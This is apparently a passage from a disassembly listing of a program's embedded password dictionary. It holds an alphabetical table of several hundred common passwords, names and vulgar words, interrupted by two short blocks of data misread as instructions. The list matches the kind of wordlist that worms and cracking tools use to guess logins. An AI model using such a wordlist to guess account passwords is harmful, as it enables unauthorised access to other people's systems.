"echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" ; --------------------------------------------------------------------------- mov word ptr [edx-657BFFBEh], ds inc edx add [edx+ebx*4+42h], bh add [eax-66h], dh inc edx add [eax-66h], ch inc edx add [eax-66h], ah inc edx add [eax-66h], bl inc edx add [edx+ebx*4+42h], cl add [eax-66h], al inc edx add [edx+ebx*4], dh inc edx add [edx+ebx*4], ch inc edx add [edx+ebx*4], ah inc edx add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" ; --------------------------------------------------------------------------- or [ecx-66FFFFBEh], bl inc edx add al, bh cwde inc edx add al, dh cwde inc edx add al, ch cwde inc edx add al, ah cwde inc edx add al, bl cwde inc edx add al, dl cwde inc edx add al, cl cwde inc edx add [eax+ebx*4-674BFFBEh], bh inc edx add [eax+ebx*4-675BFFBEh], ch inc edx add [eax+ebx*4-676FFFBEh], bl inc edx add [eax-1BFFBD68h], cl retf 42h ; --------------------------------------------------------------------------- dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_0 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil 